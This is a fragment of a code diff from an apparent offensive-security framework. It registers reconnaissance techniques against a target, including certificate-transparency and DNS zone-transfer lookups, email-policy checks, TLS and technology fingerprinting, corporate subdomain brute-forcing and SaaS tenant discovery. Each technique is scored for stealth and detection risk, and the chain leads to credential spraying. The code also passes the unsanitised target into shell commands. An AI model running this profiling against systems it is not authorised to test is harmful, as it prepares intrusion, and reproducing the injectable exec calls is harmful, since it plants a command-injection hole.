id: 'ct_search',
|
|
2075
|
+
name: 'Certificate Transparency Search',
|
|
2076
|
+
category: 'recon',
|
|
2077
|
+
phase: 'reconnaissance',
|
|
2078
|
+
prerequisites: [],
|
|
2079
|
+
conflictsWith: [],
|
|
2080
|
+
stealthRating: 0.98,
|
|
2081
|
+
successBaseline: 0.8,
|
|
2082
|
+
timeEstimate: 20000,
|
|
2083
|
+
execute: async (params) => {
|
|
2084
|
+
const start = Date.now();
|
|
2085
|
+
const target = params.target;
|
|
2086
|
+
const artifacts = [];
|
|
2087
|
+
// Query crt.sh for certificate transparency data
|
|
2088
|
+
try {
|
|
2089
|
+
const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%25.${target}&output=json" --connect-timeout 10 | head -5000`, { timeout: 20000 });
|
|
2090
|
+
if (stdout && stdout.startsWith('[')) {
|
|
2091
|
+
const certs = JSON.parse(stdout);
|
|
2092
|
+
const domains = new Set();
|
|
2093
|
+
for (const cert of certs.slice(0, 50)) {
|
|
2094
|
+
if (cert.name_value) {
|
|
2095
|
+
cert.name_value.split('\n').forEach(d => domains.add(d.trim()));
|
|
2096
|
+
}
|
|
2097
|
+
}
|
|
2098
|
+
const uniqueDomains = Array.from(domains).filter(d => d.includes(target));
|
|
2099
|
+
artifacts.push({ type: 'ct_domains_count', data: `${uniqueDomains.length} unique domains found` });
|
|
2100
|
+
uniqueDomains.slice(0, 20).forEach(d => artifacts.push({ type: 'ct_domain', data: d }));
|
|
2101
|
+
}
|
|
2102
|
+
}
|
|
2103
|
+
catch { /* crt.sh unavailable or rate limited */ }
|
|
2104
|
+
return { success: artifacts.length > 0, output: { ct_records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
|
|
2105
|
+
},
|
|
2106
|
+
});
|
|
2107
|
+
// DNS Zone Transfer - Real AXFR attempt
|
|
2108
|
+
techniqueRegistry.register({
|
|
2109
|
+
id: 'dns_zone_transfer',
|
|
2110
|
+
name: 'DNS Zone Transfer',
|
|
2111
|
+
category: 'recon',
|
|
2112
|
+
phase: 'reconnaissance',
|
|
2113
|
+
prerequisites: [],
|
|
2114
|
+
conflictsWith: [],
|
|
2115
|
+
stealthRating: 0.5,
|
|
2116
|
+
successBaseline: 0.15,
|
|
2117
|
+
timeEstimate: 30000,
|
|
2118
|
+
execute: async (params) => {
|
|
2119
|
+
const start = Date.now();
|
|
2120
|
+
const target = params.target;
|
|
2121
|
+
const artifacts = [];
|
|
2122
|
+
try {
|
|
2123
|
+
// Get NS records first
|
|
2124
|
+
const nsRecords = await dns.resolveNs(target).catch(() => []);
|
|
2125
|
+
for (const ns of nsRecords.slice(0, 3)) {
|
|
2126
|
+
try {
|
|
2127
|
+
const { stdout } = await execAsync(`dig @${ns} ${target} AXFR +short 2>/dev/null | head -30`, { timeout: 15000 });
|
|
2128
|
+
if (stdout.trim() && !stdout.includes('Transfer failed')) {
|
|
2129
|
+
artifacts.push({ type: 'zone_transfer', data: `AXFR successful via ${ns}!` });
|
|
2130
|
+
const records = stdout.split('\n').filter(l => l.trim()).slice(0, 15);
|
|
2131
|
+
records.forEach(r => artifacts.push({ type: 'zone_record', data: r }));
|
|
2132
|
+
}
|
|
2133
|
+
}
|
|
2134
|
+
catch { /* AXFR blocked as expected */ }
|
|
2135
|
+
}
|
|
2136
|
+
}
|
|
2137
|
+
catch { /* ignore */ }
|
|
2138
|
+
return { success: artifacts.length > 0, output: { zone_transfer: artifacts.length > 0 }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.6, duration: Date.now() - start };
|
|
2139
|
+
},
|
|
2140
|
+
});
|
|
2141
|
+
// Email Security Check - Real SPF/DKIM/DMARC analysis
|
|
2142
|
+
techniqueRegistry.register({
|
|
2143
|
+
id: 'email_security',
|
|
2144
|
+
name: 'Email Security Check',
|
|
2145
|
+
category: 'recon',
|
|
2146
|
+
phase: 'reconnaissance',
|
|
2147
|
+
prerequisites: [],
|
|
2148
|
+
conflictsWith: [],
|
|
2149
|
+
stealthRating: 0.95,
|
|
2150
|
+
successBaseline: 0.9,
|
|
2151
|
+
timeEstimate: 15000,
|
|
2152
|
+
execute: async (params) => {
|
|
2153
|
+
const start = Date.now();
|
|
2154
|
+
const target = params.target;
|
|
2155
|
+
const artifacts = [];
|
|
2156
|
+
// SPF record
|
|
2157
|
+
try {
|
|
2158
|
+
const txt = await dns.resolveTxt(target);
|
|
2159
|
+
const spf = txt.flat().find(r => r.includes('v=spf1'));
|
|
2160
|
+
if (spf) {
|
|
2161
|
+
artifacts.push({ type: 'spf', data: spf.slice(0, 150) });
|
|
2162
|
+
if (spf.includes('~all'))
|
|
2163
|
+
artifacts.push({ type: 'spf_policy', data: 'softfail (~all) - weak' });
|
|
2164
|
+
if (spf.includes('-all'))
|
|
2165
|
+
artifacts.push({ type: 'spf_policy', data: 'hardfail (-all) - strict' });
|
|
2166
|
+
if (spf.includes('+all') || spf.includes('?all'))
|
|
2167
|
+
artifacts.push({ type: 'spf_weak', data: 'WARNING: SPF too permissive!' });
|
|
2168
|
+
}
|
|
2169
|
+
else {
|
|
2170
|
+
artifacts.push({ type: 'spf_missing', data: 'No SPF record found' });
|
|
2171
|
+
}
|
|
2172
|
+
}
|
|
2173
|
+
catch {
|
|
2174
|
+
artifacts.push({ type: 'spf_error', data: 'Failed to query SPF' });
|
|
2175
|
+
}
|
|
2176
|
+
// DMARC record
|
|
2177
|
+
try {
|
|
2178
|
+
const dmarc = await dns.resolveTxt(`_dmarc.${target}`);
|
|
2179
|
+
const dmarcRecord = dmarc.flat().find(r => r.includes('v=DMARC1'));
|
|
2180
|
+
if (dmarcRecord) {
|
|
2181
|
+
artifacts.push({ type: 'dmarc', data: dmarcRecord.slice(0, 150) });
|
|
2182
|
+
if (dmarcRecord.includes('p=none'))
|
|
2183
|
+
artifacts.push({ type: 'dmarc_policy', data: 'policy=none - monitoring only' });
|
|
2184
|
+
if (dmarcRecord.includes('p=quarantine'))
|
|
2185
|
+
artifacts.push({ type: 'dmarc_policy', data: 'policy=quarantine' });
|
|
2186
|
+
if (dmarcRecord.includes('p=reject'))
|
|
2187
|
+
artifacts.push({ type: 'dmarc_policy', data: 'policy=reject - strict' });
|
|
2188
|
+
}
|
|
2189
|
+
else {
|
|
2190
|
+
artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record found' });
|
|
2191
|
+
}
|
|
2192
|
+
}
|
|
2193
|
+
catch {
|
|
2194
|
+
artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record' });
|
|
2195
|
+
}
|
|
2196
|
+
// DKIM selector guessing
|
|
2197
|
+
const selectors = ['default', 'google', 'selector1', 'selector2', 'k1', 's1', 'dkim'];
|
|
2198
|
+
for (const sel of selectors.slice(0, 4)) {
|
|
2199
|
+
try {
|
|
2200
|
+
const dkim = await dns.resolveTxt(`${sel}._domainkey.${target}`);
|
|
2201
|
+
if (dkim.length > 0) {
|
|
2202
|
+
artifacts.push({ type: 'dkim', data: `${sel}._domainkey - found` });
|
|
2203
|
+
break;
|
|
2204
|
+
}
|
|
2205
|
+
}
|
|
2206
|
+
catch { /* selector not found */ }
|
|
2207
|
+
}
|
|
2208
|
+
return { success: artifacts.length > 0, output: { email_security: artifacts.length }, artifacts, nextTechniques: ['credential_spray'], detectionRisk: 0.05, duration: Date.now() - start };
|
|
2209
|
+
},
|
|
2210
|
+
});
|
|
2211
|
+
}
|
|
2212
|
+
// Enterprise Stack Mapping & Cryptographic Fingerprinting
|
|
2213
|
+
function registerEnterpriseReconTechniques() {
|
|
2214
|
+
// Full Stack Cryptographic Mapping
|
|
2215
|
+
techniqueRegistry.register({
|
|
2216
|
+
id: 'crypto_map',
|
|
2217
|
+
name: 'Cryptographic Stack Mapping',
|
|
2218
|
+
category: 'recon',
|
|
2219
|
+
phase: 'reconnaissance',
|
|
2220
|
+
prerequisites: [],
|
|
2221
|
+
conflictsWith: [],
|
|
2222
|
+
stealthRating: 0.85,
|
|
2223
|
+
successBaseline: 0.9,
|
|
2224
|
+
timeEstimate: 120000,
|
|
2225
|
+
execute: async (params) => {
|
|
2226
|
+
const start = Date.now();
|
|
2227
|
+
const target = params.target;
|
|
2228
|
+
const artifacts = [];
|
|
2229
|
+
// SSL/TLS full chain analysis
|
|
2230
|
+
try {
|
|
2231
|
+
const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} -showcerts 2>/dev/null`, { timeout: 15000 });
|
|
2232
|
+
const certs = stdout.match(/-----BEGIN CERTIFICATE-----[\s\S]*?-----END CERTIFICATE-----/g) || [];
|
|
2233
|
+
artifacts.push({ type: 'cert_chain_depth', data: `${certs.length} certificates in chain` });
|
|
2234
|
+
for (let i = 0; i < Math.min(certs.length, 3); i++) {
|
|
2235
|
+
try {
|
|
2236
|
+
const certInfo = await execAsync(`echo '${certs[i]}' | openssl x509 -noout -fingerprint -sha256 -issuer -subject -dates 2>/dev/null`, { timeout: 5000 });
|
|
2237
|
+
artifacts.push({ type: `cert_${i}_fingerprint`, data: certInfo.stdout.trim().slice(0, 300) });
|
|
2238
|
+
}
|
|
2239
|
+
catch { /* ignore */ }
|
|
2240
|
+
}
|
|
2241
|
+
}
|
|
2242
|
+
catch { /* ignore */ }
|
|
2243
|
+
// TLS version and cipher enumeration
|
|
2244
|
+
for (const ver of ['tls1', 'tls1_1', 'tls1_2', 'tls1_3']) {
|
|
2245
|
+
try {
|
|
2246
|
+
const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -${ver} 2>/dev/null | grep -E "Protocol|Cipher"`, { timeout: 8000 });
|
|
2247
|
+
if (stdout.trim() && !stdout.includes('error'))
|
|
2248
|
+
artifacts.push({ type: `tls_${ver}`, data: stdout.trim() });
|
|
2249
|
+
}
|
|
2250
|
+
catch { /* version not supported */ }
|
|
2251
|
+
}
|
|
2252
|
+
// HSTS, HPKP, security headers
|
|
2253
|
+
try {
|
|
2254
|
+
const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5 | grep -iE "strict-transport|public-key-pins|content-security|x-frame|x-xss|x-content-type"`, { timeout: 10000 });
|
|
2255
|
+
if (stdout.trim())
|
|
2256
|
+
artifacts.push({ type: 'security_headers', data: stdout.trim() });
|
|
2257
|
+
}
|
|
2258
|
+
catch { /* ignore */ }
|
|
2259
|
+
// Certificate transparency logs
|
|
2260
|
+
try {
|
|
2261
|
+
const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=${target}&output=json" --connect-timeout 10 | head -c 2000`, { timeout: 15000 });
|
|
2262
|
+
if (stdout.trim() && stdout.startsWith('[')) {
|
|
2263
|
+
const count = (stdout.match(/"id":/g) || []).length;
|
|
2264
|
+
artifacts.push({ type: 'ct_log_entries', data: `${count}+ certificates logged` });
|
|
2265
|
+
}
|
|
2266
|
+
}
|
|
2267
|
+
catch { /* ignore */ }
|
|
2268
|
+
// DNSSEC validation
|
|
2269
|
+
try {
|
|
2270
|
+
const { stdout } = await execAsync(`dig +dnssec ${target} 2>/dev/null | grep -E "RRSIG|DNSKEY|DS"`, { timeout: 10000 });
|
|
2271
|
+
if (stdout.trim())
|
|
2272
|
+
artifacts.push({ type: 'dnssec', data: 'DNSSEC enabled' });
|
|
2273
|
+
}
|
|
2274
|
+
catch { /* ignore */ }
|
|
2275
|
+
return { success: artifacts.length > 0, output: { crypto_data: artifacts.length }, artifacts, nextTechniques: ['product_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
|
|
2276
|
+
},
|
|
2277
|
+
});
|
|
2278
|
+
// Product & Service Enumeration
|
|
2279
|
+
techniqueRegistry.register({
|
|
2280
|
+
id: 'product_enum',
|
|
2281
|
+
name: 'Product & Service Enumeration',
|
|
2282
|
+
category: 'recon',
|
|
2283
|
+
phase: 'reconnaissance',
|
|
2284
|
+
prerequisites: [],
|
|
2285
|
+
conflictsWith: [],
|
|
2286
|
+
stealthRating: 0.8,
|
|
2287
|
+
successBaseline: 0.85,
|
|
2288
|
+
timeEstimate: 90000,
|
|
2289
|
+
execute: async (params) => {
|
|
2290
|
+
const start = Date.now();
|
|
2291
|
+
const target = params.target;
|
|
2292
|
+
const artifacts = [];
|
|
2293
|
+
// Common product endpoints
|
|
2294
|
+
const productEndpoints = [
|
|
2295
|
+
'/products', '/services', '/solutions', '/platforms', '/apps',
|
|
2296
|
+
'/developers', '/developer', '/api', '/apis', '/docs', '/documentation',
|
|
2297
|
+
'/cloud', '/enterprise', '/business', '/workspace', '/suite',
|
|
2298
|
+
'/mobile', '/ios', '/android', '/desktop', '/web',
|
|
2299
|
+
'/ai', '/ml', '/machine-learning', '/analytics', '/data',
|
|
2300
|
+
'/security', '/identity', '/auth', '/login', '/sso',
|
|
2301
|
+
'/admin', '/console', '/dashboard', '/portal', '/panel',
|
|
2302
|
+
'/store', '/marketplace', '/apps-store', '/extensions',
|
|
2303
|
+
];
|
|
2304
|
+
const url = `https://${target}`;
|
|
2305
|
+
for (const endpoint of productEndpoints) {
|
|
2306
|
+
try {
|
|
2307
|
+
const probe = await httpProbe(`${url}${endpoint}`, 3000);
|
|
2308
|
+
if (probe.status < 400) {
|
|
2309
|
+
artifacts.push({ type: 'product_endpoint', data: `${endpoint} (${probe.status})` });
|
|
2310
|
+
}
|
|
2311
|
+
}
|
|
2312
|
+
catch { /* ignore */ }
|
|
2313
|
+
}
|
|
2314
|
+
// Sitemap parsing
|
|
2315
|
+
try {
|
|
2316
|
+
const { stdout } = await execAsync(`curl -sL https://${target}/sitemap.xml --connect-timeout 5 | grep -oE 'https?://[^<"]+' | head -50`, { timeout: 15000 });
|
|
2317
|
+
if (stdout.trim()) {
|
|
2318
|
+
const urls = stdout.split('\n').filter(u => u.trim());
|
|
2319
|
+
artifacts.push({ type: 'sitemap_urls', data: `${urls.length} URLs in sitemap` });
|
|
2320
|
+
// Extract product patterns
|
|
2321
|
+
const products = urls.filter(u => /product|service|solution|platform|app/i.test(u));
|
|
2322
|
+
if (products.length > 0)
|
|
2323
|
+
artifacts.push({ type: 'product_urls', data: products.slice(0, 10).join(', ') });
|
|
2324
|
+
}
|
|
2325
|
+
}
|
|
2326
|
+
catch { /* ignore */ }
|
|
2327
|
+
// robots.txt analysis
|
|
2328
|
+
try {
|
|
2329
|
+
const { stdout } = await execAsync(`curl -sL https://${target}/robots.txt --connect-timeout 5 | head -50`, { timeout: 10000 });
|
|
2330
|
+
if (stdout.trim()) {
|
|
2331
|
+
const disallowed = stdout.match(/Disallow:\s*(.+)/gi) || [];
|
|
2332
|
+
artifacts.push({ type: 'robots_disallow', data: `${disallowed.length} disallowed paths` });
|
|
2333
|
+
// Interesting paths often hidden
|
|
2334
|
+
const interesting = disallowed.filter(d => /admin|api|internal|dev|staging|test|backup|config/i.test(d));
|
|
2335
|
+
if (interesting.length > 0)
|
|
2336
|
+
artifacts.push({ type: 'hidden_paths', data: interesting.slice(0, 10).join(', ') });
|
|
2337
|
+
}
|
|
2338
|
+
}
|
|
2339
|
+
catch { /* ignore */ }
|
|
2340
|
+
return { success: artifacts.length > 0, output: { products: artifacts.length }, artifacts, nextTechniques: ['stack_fingerprint', 'corp_enum'], detectionRisk: 0.15, duration: Date.now() - start };
|
|
2341
|
+
},
|
|
2342
|
+
});
|
|
2343
|
+
// Full Stack Technology Fingerprinting
|
|
2344
|
+
techniqueRegistry.register({
|
|
2345
|
+
id: 'stack_fingerprint',
|
|
2346
|
+
name: 'Full Stack Fingerprinting',
|
|
2347
|
+
category: 'recon',
|
|
2348
|
+
phase: 'reconnaissance',
|
|
2349
|
+
prerequisites: [],
|
|
2350
|
+
conflictsWith: [],
|
|
2351
|
+
stealthRating: 0.75,
|
|
2352
|
+
successBaseline: 0.9,
|
|
2353
|
+
timeEstimate: 60000,
|
|
2354
|
+
execute: async (params) => {
|
|
2355
|
+
const start = Date.now();
|
|
2356
|
+
const target = params.target;
|
|
2357
|
+
const artifacts = [];
|
|
2358
|
+
// HTTP headers analysis
|
|
2359
|
+
try {
|
|
2360
|
+
const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5`, { timeout: 10000 });
|
|
2361
|
+
const headers = stdout.split('\n');
|
|
2362
|
+
for (const header of headers) {
|
|
2363
|
+
if (/^server:/i.test(header))
|
|
2364
|
+
artifacts.push({ type: 'server', data: header.trim() });
|
|
2365
|
+
if (/^x-powered-by:/i.test(header))
|
|
2366
|
+
artifacts.push({ type: 'powered_by', data: header.trim() });
|
|
2367
|
+
if (/^x-aspnet/i.test(header))
|
|
2368
|
+
artifacts.push({ type: 'aspnet', data: header.trim() });
|
|
2369
|
+
if (/^x-amz/i.test(header))
|
|
2370
|
+
artifacts.push({ type: 'aws', data: header.trim() });
|
|
2371
|
+
if (/^x-goog/i.test(header))
|
|
2372
|
+
artifacts.push({ type: 'google_cloud', data: header.trim() });
|
|
2373
|
+
if (/^x-azure/i.test(header))
|
|
2374
|
+
artifacts.push({ type: 'azure', data: header.trim() });
|
|
2375
|
+
if (/^x-cache/i.test(header))
|
|
2376
|
+
artifacts.push({ type: 'cdn_cache', data: header.trim() });
|
|
2377
|
+
if (/^cf-/i.test(header))
|
|
2378
|
+
artifacts.push({ type: 'cloudflare', data: header.trim() });
|
|
2379
|
+
if (/^x-vercel/i.test(header))
|
|
2380
|
+
artifacts.push({ type: 'vercel', data: header.trim() });
|
|
2381
|
+
if (/^x-netlify/i.test(header))
|
|
2382
|
+
artifacts.push({ type: 'netlify', data: header.trim() });
|
|
2383
|
+
}
|
|
2384
|
+
}
|
|
2385
|
+
catch { /* ignore */ }
|
|
2386
|
+
// JavaScript framework detection
|
|
2387
|
+
try {
|
|
2388
|
+
const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(react|angular|vue|next|nuxt|svelte|ember|backbone|jquery)[^"]*\\.js' | head -10`, { timeout: 15000 });
|
|
2389
|
+
if (stdout.trim())
|
|
2390
|
+
artifacts.push({ type: 'js_frameworks', data: stdout.trim().replace(/\n/g, ', ') });
|
|
2391
|
+
}
|
|
2392
|
+
catch { /* ignore */ }
|
|
2393
|
+
// Webpack/build tool detection
|
|
2394
|
+
try {
|
|
2395
|
+
const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(webpack|chunk|bundle|vendor|main)\\.[a-f0-9]+\\.js' | head -5`, { timeout: 15000 });
|
|
2396
|
+
if (stdout.trim())
|
|
2397
|
+
artifacts.push({ type: 'build_tool', data: 'Webpack/bundler detected' });
|
|
2398
|
+
}
|
|
2399
|
+
catch { /* ignore */ }
|
|
2400
|
+
// API technology detection
|
|
2401
|
+
try {
|
|
2402
|
+
const { stdout } = await execAsync(`curl -sL https://${target}/api --connect-timeout 5 -H "Accept: application/json" | head -c 500`, { timeout: 10000 });
|
|
2403
|
+
if (stdout.includes('graphql'))
|
|
2404
|
+
artifacts.push({ type: 'api_type', data: 'GraphQL' });
|
|
2405
|
+
else if (stdout.includes('"data"') || stdout.includes('"error"'))
|
|
2406
|
+
artifacts.push({ type: 'api_type', data: 'REST JSON' });
|
|
2407
|
+
}
|
|
2408
|
+
catch { /* ignore */ }
|
|
2409
|
+
// DNS-based infrastructure detection
|
|
2410
|
+
try {
|
|
2411
|
+
const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
|
|
2412
|
+
const ips = stdout.trim().split('\n');
|
|
2413
|
+
for (const ip of ips) {
|
|
2414
|
+
if (ip.match(/^\d+\.\d+\.\d+\.\d+$/)) {
|
|
2415
|
+
// Reverse lookup for provider hints
|
|
2416
|
+
try {
|
|
2417
|
+
const { stdout: rev } = await execAsync(`dig +short -x ${ip} 2>/dev/null`, { timeout: 5000 });
|
|
2418
|
+
if (rev.includes('google'))
|
|
2419
|
+
artifacts.push({ type: 'infra_provider', data: 'Google Cloud' });
|
|
2420
|
+
else if (rev.includes('amazon') || rev.includes('aws'))
|
|
2421
|
+
artifacts.push({ type: 'infra_provider', data: 'AWS' });
|
|
2422
|
+
else if (rev.includes('azure') || rev.includes('microsoft'))
|
|
2423
|
+
artifacts.push({ type: 'infra_provider', data: 'Azure' });
|
|
2424
|
+
else if (rev.includes('cloudflare'))
|
|
2425
|
+
artifacts.push({ type: 'infra_provider', data: 'Cloudflare' });
|
|
2426
|
+
else if (rev.includes('akamai'))
|
|
2427
|
+
artifacts.push({ type: 'infra_provider', data: 'Akamai' });
|
|
2428
|
+
else if (rev.includes('fastly'))
|
|
2429
|
+
artifacts.push({ type: 'infra_provider', data: 'Fastly' });
|
|
2430
|
+
}
|
|
2431
|
+
catch { /* ignore */ }
|
|
2432
|
+
}
|
|
2433
|
+
}
|
|
2434
|
+
}
|
|
2435
|
+
catch { /* ignore */ }
|
|
2436
|
+
return { success: artifacts.length > 0, output: { stack_data: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
|
|
2437
|
+
},
|
|
2438
|
+
});
|
|
2439
|
+
// Corporate Infrastructure Discovery
|
|
2440
|
+
techniqueRegistry.register({
|
|
2441
|
+
id: 'corp_enum',
|
|
2442
|
+
name: 'Corporate Infrastructure Discovery',
|
|
2443
|
+
category: 'recon',
|
|
2444
|
+
phase: 'reconnaissance',
|
|
2445
|
+
prerequisites: [],
|
|
2446
|
+
conflictsWith: [],
|
|
2447
|
+
stealthRating: 0.7,
|
|
2448
|
+
successBaseline: 0.85,
|
|
2449
|
+
timeEstimate: 120000,
|
|
2450
|
+
execute: async (params) => {
|
|
2451
|
+
const start = Date.now();
|
|
2452
|
+
const target = params.target;
|
|
2453
|
+
const baseDomain = target.replace(/^www\./, '');
|
|
2454
|
+
const artifacts = [];
|
|
2455
|
+
// Corporate subdomain enumeration
|
|
2456
|
+
const corpSubdomains = [
|
|
2457
|
+
'mail', 'email', 'smtp', 'imap', 'pop', 'exchange', 'outlook', 'webmail',
|
|
2458
|
+
'vpn', 'remote', 'gateway', 'sslvpn', 'ras', 'access',
|
|
2459
|
+
'sso', 'login', 'auth', 'id', 'identity', 'accounts', 'account',
|
|
2460
|
+
'hr', 'people', 'careers', 'jobs', 'recruiting', 'talent',
|
|
2461
|
+
'crm', 'salesforce', 'sales', 'marketing', 'hubspot',
|
|
2462
|
+
'erp', 'sap', 'oracle', 'workday', 'netsuite',
|
|
2463
|
+
'jira', 'confluence', 'wiki', 'docs', 'drive', 'sharepoint',
|
|
2464
|
+
'git', 'github', 'gitlab', 'bitbucket', 'code', 'repo',
|
|
2465
|
+
'slack', 'teams', 'zoom', 'meet', 'chat',
|
|
2466
|
+
'okta', 'duo', 'ping', 'onelogin', 'auth0',
|
|
2467
|
+
'splunk', 'elk', 'grafana', 'prometheus', 'datadog', 'newrelic',
|
|
2468
|
+
'aws', 'gcp', 'azure', 'cloud', 'k8s', 'kubernetes',
|
|
2469
|
+
'dev', 'staging', 'test', 'qa', 'uat', 'sandbox', 'demo',
|
|
2470
|
+
'internal', 'intranet', 'corp', 'corporate', 'hq',
|
|
2471
|
+
'admin', 'manage', 'management', 'portal', 'console',
|
|
2472
|
+
'api', 'api-internal', 'api-v1', 'api-v2', 'graphql',
|
|
2473
|
+
'cdn', 'static', 'assets', 'media', 'images', 'files',
|
|
2474
|
+
'support', 'help', 'helpdesk', 'service', 'servicedesk', 'zendesk', 'freshdesk',
|
|
2475
|
+
];
|
|
2476
|
+
// Parallel subdomain resolution
|
|
2477
|
+
const batchSize = 20;
|
|
2478
|
+
for (let i = 0; i < corpSubdomains.length; i += batchSize) {
|
|
2479
|
+
const batch = corpSubdomains.slice(i, i + batchSize);
|
|
2480
|
+
const results = await Promise.all(batch.map(async (sub) => {
|
|
2481
|
+
try {
|
|
2482
|
+
const ips = await dns.resolve4(`${sub}.${baseDomain}`);
|
|
2483
|
+
return { sub, ips, exists: true };
|
|
2484
|
+
}
|
|
2485
|
+
catch {
|
|
2486
|
+
return { sub, ips: [], exists: false };
|
|
2487
|
+
}
|
|
2488
|
+
}));
|
|
2489
|
+
for (const r of results) {
|
|
2490
|
+
if (r.exists)
|
|
2491
|
+
artifacts.push({ type: 'corp_subdomain', data: `${r.sub}.${baseDomain} -> ${r.ips.join(', ')}` });
|
|
2492
|
+
}
|
|
2493
|
+
}
|
|
2494
|
+
// MX records for email infrastructure
|
|
2495
|
+
try {
|
|
2496
|
+
const mx = await dns.resolveMx(baseDomain);
|
|
2497
|
+
for (const record of mx.slice(0, 5)) {
|
|
2498
|
+
artifacts.push({ type: 'mail_server', data: `${record.exchange} (priority ${record.priority})` });
|
|
2499
|
+
// Identify email provider
|
|
2500
|
+
if (record.exchange.includes('google'))
|
|
2501
|
+
artifacts.push({ type: 'email_provider', data: 'Google Workspace' });
|
|
2502
|
+
else if (record.exchange.includes('outlook') || record.exchange.includes('microsoft'))
|
|
2503
|
+
artifacts.push({ type: 'email_provider', data: 'Microsoft 365' });
|
|
2504
|
+
else if (record.exchange.includes('protonmail'))
|
|
2505
|
+
artifacts.push({ type: 'email_provider', data: 'ProtonMail' });
|
|
2506
|
+
else if (record.exchange.includes('zoho'))
|
|
2507
|
+
artifacts.push({ type: 'email_provider', data: 'Zoho' });
|
|
2508
|
+
}
|
|
2509
|
+
}
|
|
2510
|
+
catch { /* ignore */ }
|
|
2511
|
+
// SPF record for authorized senders
|
|
2512
|
+
try {
|
|
2513
|
+
const txt = await dns.resolveTxt(baseDomain);
|
|
2514
|
+
for (const record of txt) {
|
|
2515
|
+
const spf = record.join('');
|
|
2516
|
+
if (spf.includes('v=spf1')) {
|
|
2517
|
+
artifacts.push({ type: 'spf_record', data: spf.slice(0, 200) });
|
|
2518
|
+
// Extract included domains
|
|
2519
|
+
const includes = spf.match(/include:([^\s]+)/g) || [];
|
|
2520
|
+
for (const inc of includes.slice(0, 5)) {
|
|
2521
|
+
artifacts.push({ type: 'spf_include', data: inc });
|
|
2522
|
+
}
|
|
2523
|
+
}
|
|
2524
|
+
}
|
|
2525
|
+
}
|
|
2526
|
+
catch { /* ignore */ }
|
|
2527
|
+
// DMARC for email policy
|
|
2528
|
+
try {
|
|
2529
|
+
const dmarc = await dns.resolveTxt(`_dmarc.${baseDomain}`);
|
|
2530
|
+
if (dmarc[0])
|
|
2531
|
+
artifacts.push({ type: 'dmarc', data: dmarc[0].join('').slice(0, 150) });
|
|
2532
|
+
}
|
|
2533
|
+
catch { /* ignore */ }
|
|
2534
|
+
return { success: artifacts.length > 0, output: { corp_infra: artifacts.length }, artifacts, nextTechniques: ['business_sw_enum', 'saas_enum'], detectionRisk: 0.25, duration: Date.now() - start };
|
|
2535
|
+
},
|
|
2536
|
+
});
|
|
2537
|
+
// Business Software & SaaS Identification
|
|
2538
|
+
techniqueRegistry.register({
|
|
2539
|
+
id: 'business_sw_enum',
|
|
2540
|
+
name: 'Business Software Identification',
|
|
2541
|
+
category: 'recon',
|
|
2542
|
+
phase: 'reconnaissance',
|
|
2543
|
+
prerequisites: [],
|
|
2544
|
+
conflictsWith: [],
|
|
2545
|
+
stealthRating: 0.8,
|
|
2546
|
+
successBaseline: 0.8,
|
|
2547
|
+
timeEstimate: 90000,
|
|
2548
|
+
execute: async (params) => {
|
|
2549
|
+
const start = Date.now();
|
|
2550
|
+
const target = params.target;
|
|
2551
|
+
const baseDomain = target.replace(/^www\./, '');
|
|
2552
|
+
const artifacts = [];
|
|
2553
|
+
// SaaS vendor DNS patterns
|
|
2554
|
+
const saasPatterns = [
|
|
2555
|
+
{ name: 'Salesforce', pattern: `${baseDomain.split('.')[0]}.my.salesforce.com` },
|
|
2556
|
+
{ name: 'HubSpot', pattern: `${baseDomain.split('.')[0]}.hubspot.com` },
|
|
2557
|
+
{ name: 'Zendesk', pattern: `${baseDomain.split('.')[0]}.zendesk.com` },
|
|
2558
|
+
{ name: 'Atlassian', pattern: `${baseDomain.split('.')[0]}.atlassian.net` },
|
|
2559
|
+
{ name: 'Slack', pattern: `${baseDomain.split('.')[0]}.slack.com` },
|
|
2560
|
+
{ name: 'Monday', pattern: `${baseDomain.split('.')[0]}.monday.com` },
|
|
2561
|
+
{ name: 'Notion', pattern: `${baseDomain.split('.')[0]}.notion.site` },
|
|
2562
|
+
{ name: 'Airtable', pattern: `airtable.com/${baseDomain.split('.')[0]}` },
|
|
2563
|
+
{ name: 'Asana', pattern: `app.asana.com` },
|
|
2564
|
+
{ name: 'Workday', pattern: `${baseDomain.split('.')[0]}.workday.com` },
|
|
2565
|
+
{ name: 'ServiceNow', pattern: `${baseDomain.split('.')[0]}.service-now.com` },
|
|
2566
|
+
{ name: 'Okta', pattern: `${baseDomain.split('.')[0]}.okta.com` },
|
|
2567
|
+
{ name: 'Auth0', pattern: `${baseDomain.split('.')[0]}.auth0.com` },
|
|
2568
|
+
{ name: 'Datadog', pattern: `${baseDomain.split('.')[0]}.datadoghq.com` },
|
|
2569
|
+
{ name: 'PagerDuty', pattern: `${baseDomain.split('.')[0]}.pagerduty.com` },
|
|
2570
|
+
];
|
|
2571
|
+
for (const saas of saasPatterns) {
|
|
2572
|
+
try {
|
|
2573
|
+
await dns.resolve4(saas.pattern);
|
|
2574
|
+
artifacts.push({ type: 'saas_vendor', data: `${saas.name}: ${saas.pattern}` });
|
|
2575
|
+
}
|
|
2576
|
+
catch { /* not using this SaaS */ }
|
|
2577
|
+
}
|
|
2578
|
+
// Check common SSO/OAuth endpoints
|
|
2579
|
+
const ssoEndpoints = [
|
|
2580
|
+
'/saml', '/saml/consume', '/saml/metadata',
|
|
2581
|
+
'/oauth', '/oauth/authorize', '/oauth/token',
|
|
2582
|
+
'/openid', '/.well-known/openid-configuration',
|
|
2583
|
+
'/adfs', '/adfs/ls',
|
|
2584
|
+
'/simplesaml',
|
